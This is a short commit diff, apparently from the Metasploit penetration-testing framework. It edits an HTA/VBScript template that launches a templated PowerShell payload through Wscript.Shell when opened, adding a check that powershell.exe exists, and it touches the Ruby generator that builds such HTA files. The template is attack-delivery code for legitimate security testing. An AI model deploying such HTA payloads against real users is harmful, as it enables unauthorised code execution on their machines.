Skip to content

Commit 3bc3614

Browse files
committed
Do a check for powershell.exe before running it.
1 parent 381f6ff commit 3bc3614

File tree

2 files changed

+6
-2
lines changed

2 files changed

+6
-2
lines changed
Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
11
<script language="VBScript">
2-
Set %{var_shell} = CreateObject("Wscript.Shell")
3-
%{var_shell}.Run "%{powershell}"
2+
Set %{var_shell} = CreateObject("Wscript.Shell")
3+
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
4+
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
5+
%{var_shell}.Run "%{powershell}"
6+
End If
47
</script>

lib/msf/util/exe.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1132,6 +1132,7 @@ def self.to_powershell_hta(framework, arch, code)
11321132
# Intialize rig and value names
11331133
rig = Rex::RandomIdentifierGenerator.new()
11341134
rig.init_var(:var_shell)
1135+
rig.init_var(:var_fso)
11351136

11361137
hash_sub = rig.to_h
11371138
hash_sub[:powershell] = powershell

0 commit comments

Comments
 (0)